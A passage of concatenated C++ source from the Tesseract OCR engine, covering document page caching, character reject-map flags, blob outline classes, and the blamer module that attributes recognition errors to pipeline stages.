bool ImageData::AddBoxes(const char* box_text) {
if (box_text != NULL && box_text[0] != '\0') {
GenericVector<TBOX> boxes;
GenericVector<STRING> texts;
GenericVector<int> box_pages;
if (ReadMemBoxes(page_number_, false, box_text, &boxes,
&texts, NULL, &box_pages)) {
AddBoxes(boxes, texts, box_pages);
return true;
} else {
tprintf("Error: No boxes for page %d from image %s!\n",
page_number_, imagefilename_.string());
}
}
return false;
}
DocumentData::DocumentData(const STRING& name)
: document_name_(name), pages_offset_(0), total_pages_(0),
memory_used_(0), max_memory_(0), reader_(NULL) {}
DocumentData::~DocumentData() {}
// Reads all the pages in the given lstmf filename to the cache. The reader
// is used to read the file.
bool DocumentData::LoadDocument(const char* filename, const char* lang,
int start_page, inT64 max_memory,
FileReader reader) {
document_name_ = filename;
lang_ = lang;
pages_offset_ = start_page;
max_memory_ = max_memory;
reader_ = reader;
return ReCachePages();
}
// Writes all the pages to the given filename. Returns false on error.
bool DocumentData::SaveDocument(const char* filename, FileWriter writer) {
TFile fp;
fp.OpenWrite(NULL);
if (!pages_.Serialize(&fp) || !fp.CloseWrite(filename, writer)) {
tprintf("Serialize failed: %s\n", filename);
return false;
}
return true;
}
bool DocumentData::SaveToBuffer(GenericVector<char>* buffer) {
TFile fp;
fp.OpenWrite(buffer);
return pages_.Serialize(&fp);
}
// Returns a pointer to the page with the given index, modulo the total
// number of pages, recaching if needed.
const ImageData* DocumentData::GetPage(int index) {
index = Modulo(index, total_pages_);
if (index < pages_offset_ || index >= pages_offset_ + pages_.size()) {
pages_offset_ = index;
if (!ReCachePages()) return NULL;
}
return pages_[index - pages_offset_];
}
// Loads as many pages can fit in max_memory_ starting at index pages_offset_.
bool DocumentData::ReCachePages() {
// Read the file.
TFile fp;
if (!fp.Open(document_name_, reader_)) return false;
memory_used_ = 0;
if (!pages_.DeSerialize(false, &fp)) {
tprintf("Deserialize failed: %s\n", document_name_.string());
pages_.truncate(0);
return false;
}
total_pages_ = pages_.size();
pages_offset_ %= total_pages_;
// Delete pages before the first one we want, and relocate the rest.
int page;
for (page = 0; page < pages_.size(); ++page) {
if (page < pages_offset_) {
delete pages_[page];
pages_[page] = NULL;
} else {
ImageData* image_data = pages_[page];
if (max_memory_ > 0 && page > pages_offset_ &&
memory_used_ + image_data->MemoryUsed() > max_memory_)
break; // Don't go over memory quota unless the first image.
if (image_data->imagefilename().length() == 0) {
image_data->set_imagefilename(document_name_);
image_data->set_page_number(page);
}
image_data->set_language(lang_);
memory_used_ += image_data->MemoryUsed();
if (pages_offset_ != 0) {
pages_[page - pages_offset_] = image_data;
pages_[page] = NULL;
}
}
}
pages_.truncate(page - pages_offset_);
tprintf("Loaded %d/%d pages (%d-%d) of document %s\n",
pages_.size(), total_pages_, pages_offset_,
pages_offset_ + pages_.size(), document_name_.string());
return !pages_.empty();
}
// Adds the given page data to this document, counting up memory.
void DocumentData::AddPageToDocument(ImageData* page) {
pages_.push_back(page);
memory_used_ += page->MemoryUsed();
}
// A collection of DocumentData that knows roughly how much memory it is using.
DocumentCache::DocumentCache(inT64 max_memory)
: total_pages_(0), memory_used_(0), max_memory_(max_memory) {}
DocumentCache::~DocumentCache() {}
// Adds all the documents in the list of filenames, counting memory.
// The reader is used to read the files.
bool DocumentCache::LoadDocuments(const GenericVector<STRING>& filenames,
const char* lang, FileReader reader) {
inT64 fair_share_memory = max_memory_ / filenames.size();
for (int arg = 0; arg < filenames.size(); ++arg) {
STRING filename = filenames[arg];
DocumentData* document = new DocumentData(filename);
if (document->LoadDocument(filename.string(), lang, 0,
fair_share_memory, reader)) {
AddToCache(document);
} else {
tprintf("Failed to load image %s!\n", filename.string());
delete document;
}
}
tprintf("Loaded %d pages, total %gMB\n",
total_pages_, memory_used_ / 1048576.0);
return total_pages_ > 0;
}
// Adds document to the cache, throwing out other documents if needed.
bool DocumentCache::AddToCache(DocumentData* data) {
inT64 new_memory = data->memory_used();
memory_used_ += new_memory;
documents_.push_back(data);
total_pages_ += data->NumPages();
// Delete the first item in the array, and other pages of the same name
// while memory is full.
while (memory_used_ >= max_memory_ && max_memory_ > 0) {
tprintf("Memory used=%lld vs max=%lld, discarding doc of size %lld\n",
memory_used_ , max_memory_, documents_[0]->memory_used());
memory_used_ -= documents_[0]->memory_used();
total_pages_ -= documents_[0]->NumPages();
documents_.remove(0);
}
return true;
}
// Finds and returns a document by name.
DocumentData* DocumentCache::FindDocument(const STRING& document_name) const {
for (int i = 0; i < documents_.size(); ++i) {
if (documents_[i]->document_name() == document_name)
return documents_[i];
}
return NULL;
}
// Returns a page by serial number, selecting them in a round-robin fashion
// from all the documents.
const ImageData* DocumentCache::GetPageBySerial(int serial) {
int document_index = serial % documents_.size();
return documents_[document_index]->GetPage(serial / documents_.size());
}
} // namespace tesseract.
| C++ |
/**********************************************************************
* File: rejctmap.h (Formerly rejmap.h)
* Description: REJ and REJMAP class functions.
* Author: Phil Cheatle
* Created: Thu Jun 9 13:46:38 BST 1994
*
* (C) Copyright 1994, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
This module may look unneccessarily verbose, but here's the philosophy...
ALL processing of the reject map is done in this module. There are lots of
separate calls to set reject/accept flags. These have DELIBERATELY been kept
distinct so that this module can decide what to do.
Basically, there is a flag for each sort of rejection or acceptance. This
provides a history of what has happened to EACH character.
Determining whether a character is CURRENTLY rejected depends on implicit
understanding of the SEQUENCE of possible calls. The flags are defined and
grouped in the REJ_FLAGS enum. These groupings are used in determining a
characters CURRENT rejection status. Basically, a character is ACCEPTED if
none of the permanent rej flags are set
AND ( the character has never been rejected
OR an accept flag is set which is LATER than the latest reject flag )
IT IS FUNDAMENTAL THAT ANYONE HACKING THIS CODE UNDERSTANDS THE SIGNIFICANCE
OF THIS IMPLIED TEMPORAL ORDERING OF THE FLAGS!!!!
**********************************************************************/
#ifndef REJCTMAP_H
#define REJCTMAP_H
#ifdef __UNIX__
#include <assert.h>
#endif
#include "memry.h"
#include "bits16.h"
#include "params.h"
enum REJ_FLAGS
{
/* Reject modes which are NEVER overridden */
R_TESS_FAILURE, // PERM Tess didnt classify
R_SMALL_XHT, // PERM Xht too small
R_EDGE_CHAR, // PERM Too close to edge of image
R_1IL_CONFLICT, // PERM 1Il confusion
R_POSTNN_1IL, // PERM 1Il unrejected by NN
R_REJ_CBLOB, // PERM Odd blob
R_MM_REJECT, // PERM Matrix match rejection (m's)
R_BAD_REPETITION, // TEMP Repeated char which doesn't match trend
/* Initial reject modes (pre NN_ACCEPT) */
R_POOR_MATCH, // TEMP Ray's original heuristic (Not used)
R_NOT_TESS_ACCEPTED, // TEMP Tess didnt accept WERD
R_CONTAINS_BLANKS, // TEMP Tess failed on other chs in WERD
R_BAD_PERMUTER, // POTENTIAL Bad permuter for WERD
/* Reject modes generated after NN_ACCEPT but before MM_ACCEPT */
R_HYPHEN, // TEMP Post NN dodgy hyphen or full stop
R_DUBIOUS, // TEMP Post NN dodgy chars
R_NO_ALPHANUMS, // TEMP No alphanumerics in word after NN
R_MOSTLY_REJ, // TEMP Most of word rejected so rej the rest
R_XHT_FIXUP, // TEMP Xht tests unsure
/* Reject modes generated after MM_ACCEPT but before QUALITY_ACCEPT */
R_BAD_QUALITY, // TEMP Quality metrics bad for WERD
/* Reject modes generated after QUALITY_ACCEPT but before MINIMAL_REJ accep*/
R_DOC_REJ, // TEMP Document rejection
R_BLOCK_REJ, // TEMP Block rejection
R_ROW_REJ, // TEMP Row rejection
R_UNLV_REJ, // TEMP ~ turned to - or ^ turned to space
/* Accept modes which occur inbetween the above rejection groups */
R_NN_ACCEPT, //NN acceptance
R_HYPHEN_ACCEPT, //Hyphen acceptance
R_MM_ACCEPT, //Matrix match acceptance
R_QUALITY_ACCEPT, //Accept word in good quality doc
R_MINIMAL_REJ_ACCEPT //Accept EVERYTHING except tess failures
};
/* REJECT MAP VALUES */
#define MAP_ACCEPT '1'
#define MAP_REJECT_PERM '0'
#define MAP_REJECT_TEMP '2'
#define MAP_REJECT_POTENTIAL '3'
class REJ
{
BITS16 flags1;
BITS16 flags2;
void set_flag(REJ_FLAGS rej_flag) {
if (rej_flag < 16)
flags1.turn_on_bit (rej_flag);
else
flags2.turn_on_bit (rej_flag - 16);
}
BOOL8 rej_before_nn_accept();
BOOL8 rej_between_nn_and_mm();
BOOL8 rej_between_mm_and_quality_accept();
BOOL8 rej_between_quality_and_minimal_rej_accept();
BOOL8 rej_before_mm_accept();
BOOL8 rej_before_quality_accept();
public:
REJ() { //constructor
}
REJ( //classwise copy
const REJ &source) {
flags1 = source.flags1;
flags2 = source.flags2;
}
REJ & operator= ( //assign REJ
const REJ & source) { //from this
flags1 = source.flags1;
flags2 = source.flags2;
return *this;
}
BOOL8 flag(REJ_FLAGS rej_flag) {
if (rej_flag < 16)
return flags1.bit (rej_flag);
else
return flags2.bit (rej_flag - 16);
}
char display_char() {
if (perm_rejected ())
return MAP_REJECT_PERM;
else if (accept_if_good_quality ())
return MAP_REJECT_POTENTIAL;
else if (rejected ())
return MAP_REJECT_TEMP;
else
return MAP_ACCEPT;
}
BOOL8 perm_rejected(); //Is char perm reject?
BOOL8 rejected(); //Is char rejected?
BOOL8 accepted() { //Is char accepted?
return !rejected ();
}
//potential rej?
BOOL8 accept_if_good_quality();
BOOL8 recoverable() {
return (rejected () && !perm_rejected ());
}
void setrej_tess_failure(); //Tess generated blank
void setrej_small_xht(); //Small xht char/wd
void setrej_edge_char(); //Close to image edge
void setrej_1Il_conflict(); //Initial reject map
void setrej_postNN_1Il(); //1Il after NN
void setrej_rej_cblob(); //Insert duff blob
void setrej_mm_reject(); //Matrix matcher
//Odd repeated char
void setrej_bad_repetition();
void setrej_poor_match(); //Failed Rays heuristic
//TEMP reject_word
void setrej_not_tess_accepted();
//TEMP reject_word
void setrej_contains_blanks();
void setrej_bad_permuter(); //POTENTIAL reject_word
void setrej_hyphen(); //PostNN dubious hyph or .
void setrej_dubious(); //PostNN dubious limit
void setrej_no_alphanums(); //TEMP reject_word
void setrej_mostly_rej(); //TEMP reject_word
void setrej_xht_fixup(); //xht fixup
void setrej_bad_quality(); //TEMP reject_word
void setrej_doc_rej(); //TEMP reject_word
void setrej_block_rej(); //TEMP reject_word
void setrej_row_rej(); //TEMP reject_word
void setrej_unlv_rej(); //TEMP reject_word
void setrej_nn_accept(); //NN Flipped a char
void setrej_hyphen_accept(); //Good aspect ratio
void setrej_mm_accept(); //Matrix matcher
//Quality flip a char
void setrej_quality_accept();
//Accept all except blank
void setrej_minimal_rej_accept();
void full_print(FILE *fp);
};
class REJMAP
{
REJ *ptr; //ptr to the chars
inT16 len; //Number of chars
public:
REJMAP() { //constructor
ptr = NULL;
len = 0;
}
REJMAP( //classwise copy
const REJMAP &rejmap);
REJMAP & operator= ( //assign REJMAP
const REJMAP & source); //from this
~REJMAP () { //destructor
if (ptr != NULL)
free_struct (ptr, len * sizeof (REJ), "REJ");
}
void initialise( //Redefine map
inT16 length);
REJ & operator[]( //access function
inT16 index) const //map index
{
ASSERT_HOST (index < len);
return ptr[index]; //no bounds checks
}
inT32 length() const { //map length
return len;
}
inT16 accept_count(); //How many accepted?
inT16 reject_count() { //How many rejects?
return len - accept_count ();
}
void remove_pos( //Cut out an element
inT16 pos); //element to remove
void print(FILE *fp);
void full_print(FILE *fp);
BOOL8 recoverable_rejects(); //Any non perm rejs?
BOOL8 quality_recoverable_rejects();
//Any potential rejs?
void rej_word_small_xht(); //Reject whole word
//Reject whole word
void rej_word_tess_failure();
void rej_word_not_tess_accepted();
//Reject whole word
//Reject whole word
void rej_word_contains_blanks();
//Reject whole word
void rej_word_bad_permuter();
void rej_word_xht_fixup(); //Reject whole word
//Reject whole word
void rej_word_no_alphanums();
void rej_word_mostly_rej(); //Reject whole word
void rej_word_bad_quality(); //Reject whole word
void rej_word_doc_rej(); //Reject whole word
void rej_word_block_rej(); //Reject whole word
void rej_word_row_rej(); //Reject whole word
};
#endif
| C++ |
/**********************************************************************
* File: stepblob.h (Formerly cblob.h)
* Description: Code for C_BLOB class.
* Author: Ray Smith
* Created: Tue Oct 08 10:41:13 BST 1991
*
* (C) Copyright 1991, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#ifndef STEPBLOB_H
#define STEPBLOB_H
#include "coutln.h"
#include "rect.h"
class C_BLOB;
struct Pix;
ELISTIZEH(C_BLOB)
class C_BLOB:public ELIST_LINK
{
public:
C_BLOB() {
}
explicit C_BLOB(C_OUTLINE_LIST *outline_list);
// Simpler constructor to build a blob from a single outline that has
// already been fully initialized.
explicit C_BLOB(C_OUTLINE* outline);
// Builds a set of one or more blobs from a list of outlines.
// Input: one outline on outline_list contains all the others, but the
// nesting and order are undefined.
// If good_blob is true, the blob is added to good_blobs_it, unless
// an illegal (generation-skipping) parent-child relationship is found.
// If so, the parent blob goes to bad_blobs_it, and the immediate children
// are promoted to the top level, recursively being sent to good_blobs_it.
// If good_blob is false, all created blobs will go to the bad_blobs_it.
// Output: outline_list is empty. One or more blobs are added to
// good_blobs_it and/or bad_blobs_it.
static void ConstructBlobsFromOutlines(bool good_blob,
C_OUTLINE_LIST* outline_list,
C_BLOB_IT* good_blobs_it,
C_BLOB_IT* bad_blobs_it);
// Sets the COUT_INVERSE flag appropriately on the outlines and their
// children recursively, reversing the outlines if needed so that
// everything has an anticlockwise top-level.
void CheckInverseFlagAndDirection();
// Build and return a fake blob containing a single fake outline with no
// steps.
static C_BLOB* FakeBlob(const TBOX& box);
C_OUTLINE_LIST *out_list() { //get outline list
return &outlines;
}
TBOX bounding_box() const; // compute bounding box
inT32 area(); //compute area
inT32 perimeter(); // Total perimeter of outlines and 1st level children.
inT32 outer_area(); //compute area
inT32 count_transitions( //count maxima
inT32 threshold); //size threshold
void move(const ICOORD vec); // repostion blob by vector
void rotate(const FCOORD& rotation); // Rotate by given vector.
// Adds sub-pixel resolution EdgeOffsets for the outlines using greyscale
// if the supplied pix is 8-bit or the binary edges if NULL.
void ComputeEdgeOffsets(int threshold, Pix* pix);
// Estimates and returns the baseline position based on the shape of the
// outlines.
inT16 EstimateBaselinePosition();
// Returns a Pix rendering of the blob. pixDestroy after use.
Pix* render();
// Returns a Pix rendering of the outline of the blob. (no fill).
// pixDestroy after use.
Pix* render_outline();
#ifndef GRAPHICS_DISABLED
void plot( //draw one
ScrollView* window, //window to draw in
ScrollView::Color blob_colour, //for outer bits
ScrollView::Color child_colour); //for holes
// Draws the blob in the given colour, and child_colour, normalized
// using the given denorm, making use of sub-pixel accurate information
// if available.
void plot_normed(const DENORM& denorm,
ScrollView::Color blob_colour,
ScrollView::Color child_colour,
ScrollView* window);
#endif // GRAPHICS_DISABLED
C_BLOB& operator= (const C_BLOB & source) {
if (!outlines.empty ())
outlines.clear();
outlines.deep_copy(&source.outlines, &C_OUTLINE::deep_copy);
return *this;
}
static C_BLOB* deep_copy(const C_BLOB* src) {
C_BLOB* blob = new C_BLOB;
*blob = *src;
return blob;
}
static int SortByXMiddle(const void *v1, const void *v2) {
const C_BLOB* blob1 = *reinterpret_cast<const C_BLOB* const *>(v1);
const C_BLOB* blob2 = *reinterpret_cast<const C_BLOB* const *>(v2);
return blob1->bounding_box().x_middle() -
blob2->bounding_box().x_middle();
}
private:
C_OUTLINE_LIST outlines; //master elements
};
#endif
| C++ |
///////////////////////////////////////////////////////////////////////
// File: blamer.h
// Description: Module allowing precise error causes to be allocated.
// Author: Rike Antonova
// Refactored: Ray Smith
// Created: Mon Feb 04 14:37:01 PST 2013
//
// (C) Copyright 2013, Google Inc.
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
///////////////////////////////////////////////////////////////////////
#ifndef TESSERACT_CCSTRUCT_BLAMER_H_
#define TESSERACT_CCSTRUCT_BLAMER_H_
#include <stdio.h>
#include "boxword.h"
#include "genericvector.h"
#include "matrix.h"
#include "params_training_featdef.h"
#include "ratngs.h"
#include "strngs.h"
#include "tesscallback.h"
static const inT16 kBlamerBoxTolerance = 5;
// Enum for expressing the source of error.
// Note: Please update kIncorrectResultReasonNames when modifying this enum.
enum IncorrectResultReason {
// The text recorded in best choice == truth text
IRR_CORRECT,
// Either: Top choice is incorrect and is a dictionary word (language model
// is unlikely to help correct such errors, so blame the classifier).
// Or: the correct unichar was not included in shortlist produced by the
// classifier at all.
IRR_CLASSIFIER,
// Chopper have not found one or more splits that correspond to the correct
// character bounding boxes recorded in BlamerBundle::truth_word.
IRR_CHOPPER,
// Classifier did include correct unichars for each blob in the correct
// segmentation, however its rating could have been too bad to allow the
// language model to pull out the correct choice. On the other hand the
// strength of the language model might have been too weak to favor the
// correct answer, this we call this case a classifier-language model
// tradeoff error.
IRR_CLASS_LM_TRADEOFF,
// Page layout failed to produce the correct bounding box. Blame page layout
// if the truth was not found for the word, which implies that the bounding
// box of the word was incorrect (no truth word had a similar bounding box).
IRR_PAGE_LAYOUT,
// SegSearch heuristic prevented one or more blobs from the correct
// segmentation state to be classified (e.g. the blob was too wide).
IRR_SEGSEARCH_HEUR,
// The correct segmentaiton state was not explored because of poor SegSearch
// pain point prioritization. We blame SegSearch pain point prioritization
// if the best rating of a choice constructed from correct segmentation is
// better than that of the best choice (i.e. if we got to explore the correct
// segmentation state, language model would have picked the correct choice).
IRR_SEGSEARCH_PP,
// Same as IRR_CLASS_LM_TRADEOFF, but used when we only run chopper on a word,
// and thus use the old language model (permuters).
// TODO(antonova): integrate the new language mode with chopper
IRR_CLASS_OLD_LM_TRADEOFF,
// If there is an incorrect adaptive template match with a better score than
// a correct one (either pre-trained or adapted), mark this as adaption error.
IRR_ADAPTION,
// split_and_recog_word() failed to find a suitable split in truth.
IRR_NO_TRUTH_SPLIT,
// Truth is not available for this word (e.g. when words in corrected content
// file are turned into ~~~~ because an appropriate alignment was not found.
IRR_NO_TRUTH,
// The text recorded in best choice != truth text, but none of the above
// reasons are set.
IRR_UNKNOWN,
IRR_NUM_REASONS
};
// Blamer-related information to determine the source of errors.
struct BlamerBundle {
static const char *IncorrectReasonName(IncorrectResultReason irr);
BlamerBundle() : truth_has_char_boxes_(false),
incorrect_result_reason_(IRR_CORRECT),
lattice_data_(NULL) { ClearResults(); }
BlamerBundle(const BlamerBundle &other) {
this->CopyTruth(other);
this->CopyResults(other);
}
~BlamerBundle() { delete[] lattice_data_; }
// Accessors.
STRING TruthString() const {
STRING truth_str;
for (int i = 0; i < truth_text_.length(); ++i)
truth_str += truth_text_[i];
return truth_str;
}
IncorrectResultReason incorrect_result_reason() const {
return incorrect_result_reason_;
}
bool NoTruth() const {
return incorrect_result_reason_ == IRR_NO_TRUTH ||
incorrect_result_reason_ == IRR_PAGE_LAYOUT;
}
bool HasDebugInfo() const {
return debug_.length() > 0 || misadaption_debug_.length() > 0;
}
const STRING& debug() const {
return debug_;
}
const STRING& misadaption_debug() const {
return misadaption_debug_;
}
void UpdateBestRating(float rating) {
if (rating < best_correctly_segmented_rating_)
best_correctly_segmented_rating_ = rating;
}
int correct_segmentation_length() const {
return correct_segmentation_cols_.length();
}
// Returns true if the given ratings matrix col,row position is included
// in the correct segmentation path at the given index.
bool MatrixPositionCorrect(int index, const MATRIX_COORD& coord) {
return correct_segmentation_cols_[index] == coord.col &&
correct_segmentation_rows_[index] == coord.row;
}
void set_best_choice_is_dict_and_top_choice(bool value) {
best_choice_is_dict_and_top_choice_ = value;
}
const char* lattice_data() const {
return lattice_data_;
}
int lattice_size() const {
return lattice_size_; // size of lattice_data in bytes
}
void set_lattice_data(const char* data, int size) {
lattice_size_ = size;
delete [] lattice_data_;
lattice_data_ = new char[lattice_size_];
memcpy(lattice_data_, data, lattice_size_);
}
const tesseract::ParamsTrainingBundle& params_training_bundle() const {
return params_training_bundle_;
}
// Adds a new ParamsTrainingHypothesis to the current hypothesis list.
void AddHypothesis(const tesseract::ParamsTrainingHypothesis& hypo) {
params_training_bundle_.AddHypothesis(hypo);
}
// Functions to setup the blamer.
// Whole word string, whole word bounding box.
void SetWordTruth(const UNICHARSET& unicharset,
const char* truth_str, const TBOX& word_box);
// Single "character" string, "character" bounding box.
// May be called multiple times to indicate the characters in a word.
void SetSymbolTruth(const UNICHARSET& unicharset,
const char* char_str, const TBOX& char_box);
// Marks that there is something wrong with the truth text, like it contains
// reject characters.
void SetRejectedTruth();
// Returns true if the provided word_choice is correct.
bool ChoiceIsCorrect(const WERD_CHOICE* word_choice) const;
void ClearResults() {
norm_truth_word_.DeleteAllBoxes();
norm_box_tolerance_ = 0;
if (!NoTruth()) incorrect_result_reason_ = IRR_CORRECT;
debug_ = "";
segsearch_is_looking_for_blame_ = false;
best_correctly_segmented_rating_ = WERD_CHOICE::kBadRating;
correct_segmentation_cols_.clear();
correct_segmentation_rows_.clear();
best_choice_is_dict_and_top_choice_ = false;
delete[] lattice_data_;
lattice_data_ = NULL;
lattice_size_ = 0;
}
void CopyTruth(const BlamerBundle &other) {
truth_has_char_boxes_ = other.truth_has_char_boxes_;
truth_word_ = other.truth_word_;
truth_text_ = other.truth_text_;
incorrect_result_reason_ =
(other.NoTruth() ? other.incorrect_result_reason_ : IRR_CORRECT);
}
void CopyResults(const BlamerBundle &other) {
norm_truth_word_ = other.norm_truth_word_;
norm_box_tolerance_ = other.norm_box_tolerance_;
incorrect_result_reason_ = other.incorrect_result_reason_;
segsearch_is_looking_for_blame_ = other.segsearch_is_looking_for_blame_;
best_correctly_segmented_rating_ = other.best_correctly_segmented_rating_;
correct_segmentation_cols_ = other.correct_segmentation_cols_;
correct_segmentation_rows_ = other.correct_segmentation_rows_;
best_choice_is_dict_and_top_choice_ =
other.best_choice_is_dict_and_top_choice_;
if (other.lattice_data_ != NULL) {
lattice_data_ = new char[other.lattice_size_];
memcpy(lattice_data_, other.lattice_data_, other.lattice_size_);
lattice_size_ = other.lattice_size_;
} else {
lattice_data_ = NULL;
}
}
const char *IncorrectReason() const;
// Appends choice and truth details to the given debug string.
void FillDebugString(const STRING &msg, const WERD_CHOICE *choice,
STRING *debug);
// Sets up the norm_truth_word from truth_word using the given DENORM.
void SetupNormTruthWord(const DENORM& denorm);
// Splits *this into two pieces in bundle1 and bundle2 (preallocated, empty
// bundles) where the right edge/ of the left-hand word is word1_right,
// and the left edge of the right-hand word is word2_left.
void SplitBundle(int word1_right, int word2_left, bool debug,
BlamerBundle* bundle1, BlamerBundle* bundle2) const;
// "Joins" the blames from bundle1 and bundle2 into *this.
void JoinBlames(const BlamerBundle& bundle1, const BlamerBundle& bundle2,
bool debug);
// If a blob with the same bounding box as one of the truth character
// bounding boxes is not classified as the corresponding truth character
// blames character classifier for incorrect answer.
void BlameClassifier(const UNICHARSET& unicharset,
const TBOX& blob_box,
const BLOB_CHOICE_LIST& choices,
bool debug);
// Checks whether chops were made at all the character bounding box
// boundaries in word->truth_word. If not - blames the chopper for an
// incorrect answer.
void SetChopperBlame(const WERD_RES* word, bool debug);
// Blames the classifier or the language model if, after running only the
// chopper, best_choice is incorrect and no blame has been yet set.
// Blames the classifier if best_choice is classifier's top choice and is a
// dictionary word (i.e. language model could not have helped).
// Otherwise, blames the language model (formerly permuter word adjustment).
void BlameClassifierOrLangModel(
const WERD_RES* word,
const UNICHARSET& unicharset, bool valid_permuter, bool debug);
// Sets up the correct_segmentation_* to mark the correct bounding boxes.
void SetupCorrectSegmentation(const TWERD* word, bool debug);
// Returns true if a guided segmentation search is needed.
bool GuidedSegsearchNeeded(const WERD_CHOICE *best_choice) const;
// Setup ready to guide the segmentation search to the correct segmentation.
// The callback pp_cb is used to avoid a cyclic dependency.
// It calls into LMPainPoints::GenerateForBlamer by pre-binding the
// WERD_RES, and the LMPainPoints itself.
// pp_cb must be a permanent callback, and should be deleted by the caller.
void InitForSegSearch(const WERD_CHOICE *best_choice,
MATRIX* ratings, UNICHAR_ID wildcard_id,
bool debug, STRING *debug_str,
TessResultCallback2<bool, int, int>* pp_cb);
// Returns true if the guided segsearch is in progress.
bool GuidedSegsearchStillGoing() const;
// The segmentation search has ended. Sets the blame appropriately.
void FinishSegSearch(const WERD_CHOICE *best_choice,
bool debug, STRING *debug_str);
// If the bundle is null or still does not indicate the correct result,
// fix it and use some backup reason for the blame.
static void LastChanceBlame(bool debug, WERD_RES* word);
// Sets the misadaption debug if this word is incorrect, as this word is
// being adapted to.
void SetMisAdaptionDebug(const WERD_CHOICE *best_choice, bool debug);
private:
void SetBlame(IncorrectResultReason irr, const STRING &msg,
const WERD_CHOICE *choice, bool debug) {
incorrect_result_reason_ = irr;
debug_ = IncorrectReason();
debug_ += " to blame: ";
FillDebugString(msg, choice, &debug_);
if (debug) tprintf("SetBlame(): %s", debug_.string());
}
private:
// Set to true when bounding boxes for individual unichars are recorded.
bool truth_has_char_boxes_;
// The true_word (in the original image coordinate space) contains ground
// truth bounding boxes for this WERD_RES.
tesseract::BoxWord truth_word_;
// Same as above, but in normalized coordinates
// (filled in by WERD_RES::SetupForRecognition()).
tesseract::BoxWord norm_truth_word_;
// Tolerance for bounding box comparisons in normalized space.
int norm_box_tolerance_;
// Contains ground truth unichar for each of the bounding boxes in truth_word.
GenericVector<STRING> truth_text_;
// The reason for incorrect OCR result.
IncorrectResultReason incorrect_result_reason_;
// Debug text associated with the blame.
STRING debug_;
// Misadaption debug information (filled in if this word was misadapted to).
STRING misadaption_debug_;
// Variables used by the segmentation search when looking for the blame.
// Set to true while segmentation search is continued after the usual
// termination condition in order to look for the blame.
bool segsearch_is_looking_for_blame_;
// Best rating for correctly segmented path
// (set and used by SegSearch when looking for blame).
float best_correctly_segmented_rating_;
// Vectors populated by SegSearch to indicate column and row indices that
// correspond to blobs with correct bounding boxes.
GenericVector<int> correct_segmentation_cols_;
GenericVector<int> correct_segmentation_rows_;
// Set to true if best choice is a dictionary word and
// classifier's top choice.
bool best_choice_is_dict_and_top_choice_;
// Serialized segmentation search lattice.
char *lattice_data_;
int lattice_size_; // size of lattice_data in bytes
// Information about hypotheses (paths) explored by the segmentation search.
tesseract::ParamsTrainingBundle params_training_bundle_;
};
#endif // TESSERACT_CCSTRUCT_BLAMER_H_
| C++ |
///////////////////////////////////////////////////////////////////////
// File: params_training_featdef.h
// Description: Feature definitions for params training.
// Author: Rika Antonova
// Created: Mon Nov 28 11:26:42 PDT 2011
//
// (C) Copyright 2011, Google Inc.
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
///////////////////////////////////////////////////////////////////////
#ifndef TESSERACT_WORDREC_PARAMS_TRAINING_FEATDEF_H_
#define TESSERACT_WORDREC_PARAMS_TRAINING_FEATDEF_H_
#include "genericvector.h"
#include "strngs.h"
namespace tesseract {
// Maximum number of unichars in the small and medium sized words
static const int kMaxSmallWordUnichars = 3;
static const int kMaxMediumWordUnichars = 6;
// Raw features extracted from a single OCR hypothesis.
// The features are normalized (by outline length or number of unichars as
// appropriate) real-valued quantities with unbounded range and
// unknown distribution.
// Normalization / binarization of these features is done at a later stage.
// Note: when adding new fields to this enum make sure to modify
// kParamsTrainingFeatureTypeName
enum kParamsTrainingFeatureType {
// Digits
PTRAIN_DIGITS_SHORT, // 0
PTRAIN_DIGITS_MED, // 1
PTRAIN_DIGITS_LONG, // 2
// Number or pattern (NUMBER_PERM, USER_PATTERN_PERM)
PTRAIN_NUM_SHORT, // 3
PTRAIN_NUM_MED, // 4
PTRAIN_NUM_LONG, // 5
// Document word (DOC_DAWG_PERM)
PTRAIN_DOC_SHORT, // 6
PTRAIN_DOC_MED, // 7
PTRAIN_DOC_LONG, // 8
// Word (SYSTEM_DAWG_PERM, USER_DAWG_PERM, COMPOUND_PERM)
PTRAIN_DICT_SHORT, // 9
PTRAIN_DICT_MED, // 10
PTRAIN_DICT_LONG, // 11
// Frequent word (FREQ_DAWG_PERM)
PTRAIN_FREQ_SHORT, // 12
PTRAIN_FREQ_MED, // 13
PTRAIN_FREQ_LONG, // 14
PTRAIN_SHAPE_COST_PER_CHAR, // 15
PTRAIN_NGRAM_COST_PER_CHAR, // 16
PTRAIN_NUM_BAD_PUNC, // 17
PTRAIN_NUM_BAD_CASE, // 18
PTRAIN_XHEIGHT_CONSISTENCY, // 19
PTRAIN_NUM_BAD_CHAR_TYPE, // 20
PTRAIN_NUM_BAD_SPACING, // 21
PTRAIN_NUM_BAD_FONT, // 22
PTRAIN_RATING_PER_CHAR, // 23
PTRAIN_NUM_FEATURE_TYPES
};
static const char * const kParamsTrainingFeatureTypeName[] = {
"PTRAIN_DIGITS_SHORT", // 0
